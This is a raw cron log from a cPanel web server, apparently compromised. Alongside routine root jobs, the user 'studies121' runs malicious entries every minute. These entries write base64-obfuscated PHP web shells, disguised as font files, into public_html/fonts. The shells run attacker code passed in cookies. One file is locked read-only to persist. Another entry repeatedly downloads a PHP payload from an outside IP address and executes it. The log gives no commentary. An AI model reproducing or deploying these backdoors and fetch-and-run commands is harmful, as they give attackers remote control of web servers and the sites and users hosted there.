Sep  9 09:25:01 ip-184-168-122-23 CROND[20730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:25:01 ip-184-168-122-23 CROND[20727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:25:01 ip-184-168-122-23 CROND[20732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:25:01 ip-184-168-122-23 CROND[20729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:26:01 ip-184-168-122-23 CROND[20891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:26:01 ip-184-168-122-23 CROND[20894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:26:01 ip-184-168-122-23 CROND[20896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:26:01 ip-184-168-122-23 CROND[20893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:26:01 ip-184-168-122-23 CROND[20895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:27:01 ip-184-168-122-23 CROND[21010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:27:01 ip-184-168-122-23 CROND[21009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:27:01 ip-184-168-122-23 CROND[21011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:27:01 ip-184-168-122-23 CROND[21012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:28:01 ip-184-168-122-23 CROND[21237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:28:01 ip-184-168-122-23 CROND[21239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:28:01 ip-184-168-122-23 CROND[21240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:28:01 ip-184-168-122-23 CROND[21243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:28:01 ip-184-168-122-23 CROND[21241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:29:01 ip-184-168-122-23 CROND[21364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:29:01 ip-184-168-122-23 CROND[21365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:29:01 ip-184-168-122-23 CROND[21367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:29:01 ip-184-168-122-23 CROND[21368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:30:01 ip-184-168-122-23 CROND[21493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:30:02 ip-184-168-122-23 CROND[21496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:30:02 ip-184-168-122-23 CROND[21498]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:30:02 ip-184-168-122-23 CROND[21497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:30:02 ip-184-168-122-23 CROND[21499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:30:02 ip-184-168-122-23 CROND[21500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:30:02 ip-184-168-122-23 CROND[21508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:30:02 ip-184-168-122-23 CROND[21506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:31:01 ip-184-168-122-23 CROND[21645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:31:01 ip-184-168-122-23 CROND[21647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:31:01 ip-184-168-122-23 CROND[21649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:31:01 ip-184-168-122-23 CROND[21650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:31:01 ip-184-168-122-23 CROND[21651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:32:01 ip-184-168-122-23 CROND[21758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:32:01 ip-184-168-122-23 CROND[21760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:32:01 ip-184-168-122-23 CROND[21761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:32:01 ip-184-168-122-23 CROND[21763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:32:01 ip-184-168-122-23 CROND[21762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:33:01 ip-184-168-122-23 CROND[22050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:33:01 ip-184-168-122-23 CROND[22053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:33:01 ip-184-168-122-23 CROND[22052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:33:01 ip-184-168-122-23 CROND[22056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:34:01 ip-184-168-122-23 CROND[22144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:34:01 ip-184-168-122-23 CROND[22146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:34:01 ip-184-168-122-23 CROND[22147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:34:01 ip-184-168-122-23 CROND[22148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:34:01 ip-184-168-122-23 CROND[22149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:35:01 ip-184-168-122-23 CROND[22262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:35:01 ip-184-168-122-23 CROND[22272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22269]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:35:01 ip-184-168-122-23 CROND[22273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:36:01 ip-184-168-122-23 CROND[22391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:36:01 ip-184-168-122-23 CROND[22390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:36:01 ip-184-168-122-23 CROND[22392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:36:01 ip-184-168-122-23 CROND[22393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:36:01 ip-184-168-122-23 CROND[22394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
